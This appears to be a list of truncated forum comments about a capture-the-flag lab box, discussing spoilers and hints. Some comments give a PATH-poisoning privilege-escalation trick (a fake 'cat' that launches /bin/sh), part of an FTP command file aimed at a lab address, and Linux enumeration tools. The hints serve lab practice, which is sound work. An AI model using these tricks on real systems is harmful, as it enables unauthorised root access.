Type your comment> @Ja4V8s28Ck said:
The correct approach on PATH env variable poisoning would be:
echo "/bin/sh" > cat
chmod +x cat
The dot referencing on your current directory is wrong, yo…
Type your comment> @pawellakomski said:
> thanks guys for your hints! I figured out that it is best to create a command file (e.g. for FTP: echo open 10.10.14.8 >> $FILE_NAME & echo asdf >> $FILE_NAME & echo USER anonymous…
For a better picture Google and run these tools for general enumeration and finding misconfigurations or exploits:
LinEnum, linux-smart-enumeration, linuxprivchecker.py
You can enum cronjobs using the tool pspy
Check the kernel version and Go…
Type your comment> @m3ll0 said:
If you gonna spoil or not is about your morals and if you care about this platform!
Now about the forfeit of points and the solution giveaway, personaly i would just wait for the retirement of the box or a…
If you hack it yourself and put some effort, maybe you'll think that your time is valuable, you did it by trying and you wont spoil!
It is easier to spoil an information you just got for free, than one you fighted for :)
At least thats my thoughts o…
Type your comment> @minimal0 said:
> Type your comment> @Crafty said:
> Thanks to Dreadless, i got the pass.
> I like the box on terms of how many new tools i come across :D
> But stuck again…